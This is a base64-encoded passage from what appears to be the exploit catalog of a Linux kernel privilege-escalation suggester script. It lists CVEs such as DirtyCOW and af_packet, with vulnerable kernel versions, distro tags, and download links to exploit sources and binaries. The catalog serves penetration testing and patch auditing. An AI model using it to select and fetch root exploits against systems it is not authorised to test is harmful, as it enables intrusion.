R4dHJzdH0gcmF3bW9kZVBUWQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjMxLHZlcjw9My4xNC4zClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vYmxvZy5pbmNsdWRlc2VjdXJpdHkuY29tLzIwMTQvMDYvZXhwbG9pdC13YWxrdGhyb3VnaC1jdmUtMjAxNC0wMTk2LXB0eS1rZXJuZWwtcmFjZS1jb25kaXRpb24uaHRtbApleHBsb2l0LWRiOiAzMzUxNgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTI4NTFdJHt0eHRyc3R9IHVzZS1hZnRlci1mcmVlIGluIHBpbmdfaW5pdF9zb2NrKCkgJHtibGRibHV9KERvUykke3R4dHJzdH0KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4xLHZlcjw9My4xNApUYWdzOiAKUmFuazogMAphbmFseXNpcy11cmw6IGh0dHBzOi8vY3lzZWNsYWJzLmNvbS9wYWdlP249MDIwMTIwMTYKZXhwbG9pdC1kYjogMzI5MjYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC00MDE0XSR7dHh0cnN0fSBpbm9kZV9jYXBhYmxlClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8PTMuMTMKVGFnczogdWJ1bnR1PTEyLjA0ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNC8wNi8xMC80CmV4cGxvaXQtZGI6IDMzODI0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtNDY5OV0ke3R4dHJzdH0gcHRyYWNlL3N5c3JldApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjEsdmVyPD0zLjgKVGFnczogdWJ1bnR1PTEyLjA0ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNC8wNy8wOC8xNgpleHBsb2l0LWRiOiAzNDEzNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTQ5NDNdJHt0eHRyc3R9IFBQUG9MMlRQICR7YmxkYmx1fShEb1MpJHt0eHRyc3R9ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjIsdmVyPD0zLjE1LjYKVGFnczogClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2N5c2VjbGFicy5jb20vcGFnZT9uPTAxMTAyMDE1CmV4cGxvaXQtZGI6IDM2MjY3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtNTIwN10ke3R4dHJzdH0gZnVzZV9zdWlkClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8PTMuMTYuMQpUYWdzOiAKUmFuazogMQpleHBsb2l0LWRiOiAzNDkyMwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTkzMjJdJHt0eHRyc3R9IEJhZElSRVQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4xLHZlcjwzLjE3LjUseDg2XzY0ClRhZ3M6IFJIRUw8PTcsZmVkb3JhPTIwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vbGFicy5icm9taXVtLmNvbS8yMDE1LzAyLzAyL2V4cGxvaXRpbmctYmFkaXJldC12dWxuZXJhYmlsaXR5LWN2ZS0yMDE0LTkzMjItbGludXgta2VybmVsLXByaXZpbGVnZS1lc2NhbGF0aW9uLwpzcmMtdXJsOiBodHRwOi8vc2l0ZS5waTMuY29tLnBsL2V4cC9wX2N2ZS0yMDE0LTkzMjIudGFyLmd6CmV4cGxvaXQtZGI6CmF1dGhvcjogUmFmYWwgJ24zcmdhbCcgV29qdGN6dWsgJiBBZGFtICdwaTMnIFphYnJvY2tpCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMzI5MF0ke3R4dHJzdH0gZXNwZml4NjRfTk1JClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjEzLHZlcjw0LjEuNix4ODZfNjQKVGFnczogClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8wOC8wNC84CmV4cGxvaXQtZGI6IDM3NzIyCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bTi9BXSR7dHh0cnN0fSBibHVldG9vdGgKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI8PTIuNi4xMQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDQ3NTYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0xMzI4XSR7dHh0cnN0fSBvdmVybGF5ZnMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMTMuMCx2ZXI8PTMuMTkuMApUYWdzOiB1YnVudHU9KDEyLjA0fDE0LjA0KXtrZXJuZWw6My4xMy4wLSgyfDN8NHw1KSotZ2VuZXJpY30sdWJ1bnR1PSgxNC4xMHwxNS4wNCl7a2VybmVsOjMuKDEzfDE2KS4wLSotZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9zZWNsaXN0cy5vcmcvb3NzLXNlYy8yMDE1L3EyLzcxNwpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9vZnNfMzIKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvb2ZzXzY0CmV4cGxvaXQtZGI6IDM3MjkyCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtODY2MF0ke3R4dHJzdH0gb3ZlcmxheWZzIChvdmxfc2V0YXR0cikKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4wLHZlcjw9NC4zLjMKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cuaGFsZmRvZy5uZXQvU2VjdXJpdHkvMjAxNS9Vc2VyTmFtZXNwYWNlT3ZlcmxheWZzU2V0dWlkV3JpdGVFeGVjLwpleHBsb2l0LWRiOiAzOTIzMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTg2NjBdJHt0eHRyc3R9IG92ZXJsYXlmcyAob3ZsX3NldGF0dHIpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMCx2ZXI8PTQuMy4zClRhZ3M6IHVidW50dT0oMTQuMDR8MTUuMTApe2tlcm5lbDo0LjIuMC0oMTh8MTl8MjB8MjF8MjIpLWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3LmhhbGZkb2cubmV0L1NlY3VyaXR5LzIwMTUvVXNlck5hbWVzcGFjZU92ZXJsYXlmc1NldHVpZFdyaXRlRXhlYy8KZXhwbG9pdC1kYjogMzkxNjYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi0wNzI4XSR7dHh0cnN0fSBrZXlyaW5nClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjEwLHZlcjw0LjQuMQpUYWdzOgpSYW5rOiAwCmFuYWx5c2lzLXVybDogaHR0cDovL3BlcmNlcHRpb24tcG9pbnQuaW8vMjAxNi8wMS8xNC9hbmFseXNpcy1hbmQtZXhwbG9pdGF0aW9uLW9mLWEtbGludXgta2VybmVsLXZ1bG5lcmFiaWxpdHktY3ZlLTIwMTYtMDcyOC8KZXhwbG9pdC1kYjogNDAwMDMKQ29tbWVudHM6IEV4cGxvaXQgdGFrZXMgYWJvdXQgfjMwIG1pbnV0ZXMgdG8gcnVuLiBFeHBsb2l0IGlzIG5vdCByZWxpYWJsZSwgc2VlOiBodHRwczovL2N5c2VjbGFicy5jb20vYmxvZy9jdmUtMjAxNi0wNzI4LXBvYy1ub3Qtd29ya2luZwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTIzODRdJHt0eHRyc3R9IHVzYi1taWRpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMCx2ZXI8PTQuNC44ClRhZ3M6IHVidW50dT0xNC4wNCxmZWRvcmE9MjIKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8veGFpcnkuZ2l0aHViLmlvL2Jsb2cvMjAxNi9jdmUtMjAxNi0yMzg0CnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS94YWlyeS9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE2LTIzODQvcG9jLmMKZXhwbG9pdC1kYjogNDE5OTkKQ29tbWVudHM6IFJlcXVpcmVzIGFiaWxpdHkgdG8gcGx1ZyBpbiBhIG1hbGljaW91cyBVU0IgZGV2aWNlIGFuZCB0byBleGVjdXRlIGEgbWFsaWNpb3VzIGJpbmFyeSBhcyBhIG5vbi1wcml2aWxlZ2VkIHVzZXIKYXV0aG9yOiBBbmRyZXkgJ3hhaXJ5JyBLb25vdmFsb3YKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi00OTk3XSR7dHh0cnN0fSB0YXJnZXRfb2Zmc2V0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj00LjQuMCx2ZXI8PTQuNC4wLGNtZDpncmVwIC1xaSBpcF90YWJsZXMgL3Byb2MvbW9kdWxlcwpUYWdzOiB1YnVudHU9MTYuMDR7a2VybmVsOjQuNC4wLTIxLWdlbmVyaWN9ClJhbms6IDEKc3JjLXVybDogaHR0cHM6Ly9naXRsYWIuY29tL2V4cGxvaXQtZGF0YWJhc2UvZXhwbG9pdGRiLWJpbi1zcGxvaXRzLy0vcmF3L21haW4vYmluLXNwbG9pdHMvNDAwNTMuemlwCkNvbW1lbnRzOiBpcF90YWJsZXMua28gbmVlZHMgdG8gYmUgbG9hZGVkCmV4cGxvaXQtZGI6IDQwMDQ5CmF1dGhvcjogVml0YWx5ICd2bmlrJyBOaWtvbGVua28KRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi00NTU3XSR7dHh0cnN0fSBkb3VibGUtZmRwdXQoKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LHZlcjw0LjUuNSxDT05GSUdfQlBGX1NZU0NBTEw9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQhPTEKVGFnczogdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjQuMC0yMS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Byb2plY3QtemVyby9pc3N1ZXMvZGV0YWlsP2lkPTgwOApzcmMtdXJsOiBodHRwczovL2dpdGxhYi5jb20vZXhwbG9pdC1kYXRhYmFzZS9leHBsb2l0ZGItYmluLXNwbG9pdHMvLS9yYXcvbWFpbi9iaW4tc3Bsb2l0cy8zOTc3Mi56aXAKQ29tbWVudHM6IENPTkZJR19CUEZfU1lTQ0FMTCBuZWVkcyB0byBiZSBzZXQgJiYga2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQgIT0gMQpleHBsb2l0LWRiOiA0MDc1OQphdXRob3I6IEphbm4gSG9ybgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTUxOTVdJHt0eHRyc3R9IGRpcnR5Y293ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMjIsdmVyPD00LjguMwpUYWdzOiBkZWJpYW49N3w4LFJIRUw9NXtrZXJuZWw6Mi42LigxOHwyNHwzMyktKn0sUkhFTD02e2tlcm5lbDoyLjYuMzItKnwzLigwfDJ8Nnw4fDEwKS4qfDIuNi4zMy45LXJ0MzF9LFJIRUw9N3trZXJuZWw6My4xMC4wLSp8NC4yLjAtMC4yMS5lbDd9LHVidW50dT0xNi4wNHwxNC4wNHwxMi4wNApSYW5rOiA0CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL2RpcnR5Y293L2RpcnR5Y293LmdpdGh1Yi5pby93aWtpL1Z1bG5lcmFiaWxpdHlEZXRhaWxzCkNvbW1lbnRzOiBGb3IgUkhFTC9DZW50T1Mgc2VlIGV4YWN0IHZ1bG5lcmFibGUgdmVyc2lvbnMgaGVyZTogaHR0cHM6Ly9hY2Nlc3MucmVkaGF0LmNvbS9zaXRlcy9kZWZhdWx0L2ZpbGVzL3JoLWN2ZS0yMDE2LTUxOTVfNS5zaApleHBsb2l0LWRiOiA0MDYxMQphdXRob3I6IFBoaWwgT2VzdGVyCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtNTE5NV0ke3R4dHJzdH0gZGlydHljb3cgMgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjIyLHZlcjw9NC44LjMKVGFnczogZGViaWFuPTd8OCxSSEVMPTV8Nnw3LHVidW50dT0xNC4wNHwxMi4wNCx1YnVudHU9MTAuMDR7a2VybmVsOjIuNi4zMi0yMS1nZW5lcmljfSx1YnVudHU9MTYuMDR7a2VybmVsOjQuNC4wLTIxLWdlbmVyaWN9ClJhbms6IDQKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vZGlydHljb3cvZGlydHljb3cuZ2l0aHViLmlvL3dpa2kvVnVsbmVyYWJpbGl0eURldGFpbHMKZXh0LXVybDogaHR0cHM6Ly93d3cuZXhwbG9pdC1kYi5jb20vZG93bmxvYWQvNDA4NDcKQ29tbWVudHM6IEZvciBSSEVML0NlbnRPUyBzZWUgZXhhY3QgdnVsbmVyYWJsZSB2ZXJzaW9ucyBoZXJlOiBodHRwczovL2FjY2Vzcy5yZWRoYXQuY29tL3NpdGVzL2RlZmF1bHQvZmlsZXMvcmgtY3ZlLTIwMTYtNTE5NV81LnNoCmV4cGxvaXQtZGI6IDQwODM5CmF1dGhvcjogRmlyZUZhcnQgKGF1dGhvciBvZiBleHBsb2l0IGF0IEVEQiA0MDgzOSk7IEdhYnJpZWxlIEJvbmFjaW5pIChhdXRob3Igb2YgZXhwbG9pdCBhdCAnZXh0LXVybCcpCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtODY1NV0ke3R4dHJzdH0gY2hvY29ib19yb290ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj00LjQuMCx2ZXI8NC45LENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xClRhZ3M6IHVidW50dT0oMTQuMDR8MTYuMDQpe2tlcm5lbDo0LjQuMC0oMjF8MjJ8MjR8Mjh8MzF8MzR8MzZ8Mzh8NDJ8NDN8NDV8NDd8NTEpLWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNi8xMi8wNi8xCkNvbW1lbnRzOiBDQVBfTkVUX1JBVyBjYXBhYmlsaXR5IGlzIG5lZWRlZCBPUiBDT05GSUdfVVNFUl9OUz15IG5lZWRzIHRvIGJlIGVuYWJsZWQKYmluLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3JhcGlkNy9tZXRhc3Bsb2l0LWZyYW1ld29yay9tYXN0ZXIvZGF0YS9leHBsb2l0cy9DVkUtMjAxNi04NjU1L2Nob2NvYm9fcm9vdApleHBsb2l0LWRiOiA0MDg3MQphdXRob3I6IHJlYmVsCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtOTc5M10ke3R4dHJzdH0gU09fe1NORHxSQ1Z9QlVGRk9SQ0UKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMTEsdmVyPDQuOC4xNCxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MQpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL3hhaXJ5L2tlcm5lbC1leHBsb2l0cy90cmVlL21hc3Rlci9DVkUtMjAxNi05NzkzCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS94YWlyeS9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE2LTk3OTMvcG9jLmMKQ29tbWVudHM6IENBUF9ORVRfQURNSU4gY2FwcyBPUiBDT05GSUdfVVNFUl9OUz15IG5lZWRlZC4gTm8gU01FUC9TTUFQL0tBU0xSIGJ5cGFzcyBpbmNsdWRlZC4gVGVzdGVkIGluIFFFTVUgb25seQpleHBsb2l0LWRiOiA0MTk5NQphdXRob3I6IEFuZHJleSAneGFpcnknIEtvbm92YWxvdgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTYwNzRdJHt0eHRyc3R9IGRjY3AKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xOCx2ZXI8PTQuOS4xMSxDT05GSUdfSVBfRENDUD1bbXldClRhZ3M6IHVidW50dT0oMTQuMDR8MTYuMDQpe2tlcm5lbDo0LjQuMC02Mi1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTcvMDIvMjIvMwpDb21tZW50czogUmVxdWlyZXMgS2VybmVsIGJlIGJ1aWx0IHdpdGggQ09ORklHX0lQX0RDQ1AgZW5hYmxlZC4gSW5jbHVkZXMgcGFydGlhbCBTTUVQL1NNQVAgYnlwYXNzCmV4cGxvaXQtZGI6IDQxNDU4CmF1dGhvcjogQW5kcmV5ICd4YWlyeScgS29ub3ZhbG92CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctNzMwOF0ke3R4dHJzdH0gYWZfcGFja2V0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjIsdmVyPD00LjEwLjYsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKVGFnczogdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjguMC0oMzR8MzZ8Mzl8NDF8NDJ8NDR8NDUpLWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2dvb2dsZXByb2plY3R6ZXJvLmJsb2dzcG90LmNvbS8yMDE3LzA1L2V4cGxvaXRpbmctbGludXgta2VybmVsLXZpYS1wYWNrZXQuaHRtbApzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy03MzA4L3BvYy5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy03MzA4L3BvYy5jCkNvbW1lbnRzOiBDQVBfTkVUX1JBVyBjYXAgb3IgQ09ORklHX1VTRVJfTlM9eSBuZWVkZWQuIE1vZGlmaWVkIHZlcnNpb24gYXQgJ2V4dC11cmwnIGFkZHMgc3VwcG9ydCBmb3IgYWRkaXRpb25hbCBrZXJuZWxzCmJpbi11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9yYXBpZDcvbWV0YXNwbG9pdC1mcmFtZXdvcmsvbWFzdGVyL2RhdGEvZXhwbG9pdHMvY3ZlLTIwMTctNzMwOC9leHBsb2l0CmV4cGxvaXQtZGI6IDQxOTk0CmF1dGhvcjogQW5kcmV5ICd4YWlyeScgS29ub3ZhbG92IChvcmdpbmFsIGV4cGxvaXQgYXV0aG9yKTsgQnJlbmRhbiBDb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xNjk5NV0ke3R4dHJzdH0gZUJQRl92ZXJpZmllcgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LHZlcjw9NC4xNC44LENPTkZJR19CUEZfU1lTQ0FMTD15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX2JwZl9kaXNhYmxlZCE9MQpUYWdzOiBkZWJpYW49OS4we2tlcm5lbDo0LjkuMC0zLWFtZDY0fSxmZWRvcmE9MjV8MjZ8MjcsdWJ1bnR1PTE0LjA0e2tlcm5lbDo0LjQuMC04OS1nZW5lcmljfSx1YnVudHU9KDE2LjA0fDE3LjA0KXtrZXJuZWw6NC4oOHwxMCkuMC0oMTl8Mjh8NDUpLWdlbmVyaWN9ClJhbms6IDUKYW5hbHlzaXMtdXJsOiBodHRwczovL3JpY2tsYXJhYmVlLmJsb2dzcG90LmNvbS8yMDE4LzA3L2VicGYtYW5kLWFuYWx5c2lzLW9mLWdldC1yZWt0LWxpbnV4Lmh0bWwKQ29tbWVudHM6IENPTkZJR19CUEZfU1lTQ0FMTCBuZWVkcyB0byBiZSBzZXQgJiYga2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQgIT0gMQpiaW4tdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtZnJhbWV3b3JrL21hc3Rlci9kYXRhL2V4cGxvaXRzL2N2ZS0yMDE3LTE2OTk1L2V4cGxvaXQub3V0CmV4cGxvaXQtZGI6IDQ1MDEwCmF1dGhvcjogUmljayBMYXJhYmVlCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDExMl0ke3R4dHJzdH0gTkVUSUZfRl9VRk8KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8PTQuMTMsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKVGFnczogdWJ1bnR1PTE0LjA0e2tlcm5lbDo0LjQuMC0qfSx1YnVudHU9MTYuMDR7a2VybmVsOjQuOC4wLSp9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNy8wOC8xMy8xCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS94YWlyeS9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE3LTEwMDAxMTIvcG9jLmMKZXh0LXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jjb2xlcy9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE3LTEwMDAxMTIvcG9jLmMKQ29tbWVudHM6IENBUF9ORVRfQURNSU4gY2FwIG9yIENPTkZJR19VU0VSX05TPXkgbmVlZGVkLiBTTUVQL0tBU0xSIGJ5cGFzcyBpbmNsdWRlZC4gTW9kaWZpZWQgdmVyc2lvbiBhdCAnZXh0LXVybCcgYWRkcyBzdXBwb3J0IGZvciBhZGRpdGlvbmFsIGRpc3Ryb3Mva2VybmVscwpiaW4tdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtZnJhbWV3b3JrL21hc3Rlci9kYXRhL2V4cGxvaXRzL2N2ZS0yMDE3LTEwMDAxMTIvZXhwbG9pdC5vdXQKZXhwbG9pdC1kYjoKYXV0aG9yOiBBbmRyZXkgJ3hhaXJ5JyBLb25vdmFsb3YgKG9yZ2luYWwgZXhwbG9pdCBhdXRob3IpOyBCcmVuZGFuIENvbGVzIChhdXRob3Igb2YgZXhwbG9pdCB1cGRhdGUgYXQgJ2V4dC11cmwnKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTEwMDAyNTNdJHt0eHRyc3R9IFBJRV9zdGFja19jb3JydXB0aW9uClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjIsdmVyPD00LjEzLHg4Nl82NApUYWdzOiBSSEVMPTYsUkhFTD03e2tlcm5lbDozLjEwLjAtNTE0LjIxLjJ8My4xMC4wLTUxNC4yNi4xfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA5LzI2L2xpbnV4LXBpZS1jdmUtMjAxNy0xMDAwMjUzL2N2ZS0yMDE3LTEwMDAyNTMudHh0CnNyYy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wOS8yNi9saW51eC1waWUtY3ZlLTIwMTctMTAwMDI1My9jdmUtMjAxNy0xMDAwMjUzLmMKZXhwbG9pdC1kYjogNDI4ODcKYXV0aG9yOiBRdWFseXMKQ29tbWVudHM6CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTgtNTMzM10ke3R4dHJzdH0gcmRzX2F0b21pY19mcmVlX29wIE5VTEwgcG9pbnRlciBkZXJlZmVyZW5jZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LHZlcjw9NC4xNC4xMyxjbWQ6Z3JlcCAtcWkgcmRzIC9wcm9jL21vZHVsZXMseDg2XzY0ClRhZ3M6IHVidW50dT0xNi4wNHtrZXJuZWw6NC40LjB8NC44LjB9ClJhbms6IDEKc3JjLXVybDogaHR0cHM6Ly9naXN0LmdpdGh1YnVzZXJjb250ZW50LmNvbS93Ym93bGluZy85ZDMyNDkyYmQ5NmQ5ZTdjM2JmNTJlMjNhMGFjMzBhNC9yYXcvOTU5MzI1ODE5Yzc4MjQ4YTY0MzcxMDJiYjI4OWJiODU3OGExMzVjZC9jdmUtMjAxOC01MzMzLXBvYy5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxOC01MzMzL2N2ZS0yMDE4LTUzMzMuYwpDb21tZW50czogcmRzLmtvIGtlcm5lbCBtb2R1bGUgbmVlZHMgdG8gYmUgbG9hZGVkLiBNb2RpZmllZCB2ZXJzaW9uIGF0ICdleHQtdXJsJyBhZGRzIHN1cHBvcnQgZm9yIGFkZGl0aW9uYWwgdGFyZ2V0cyBhbmQgYnlwYXNzaW5nIEtBU0xSLgphdXRob3I6IHdib3dsaW5nIChvcmdpbmFsIGV4cGxvaXQgYXV0aG9yKTsgYmNvbGVzIChhdXRob3Igb2YgZXhwbG9pdCB1cGRhdGUgYXQgJ2V4dC11cmwnKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE4LTE4OT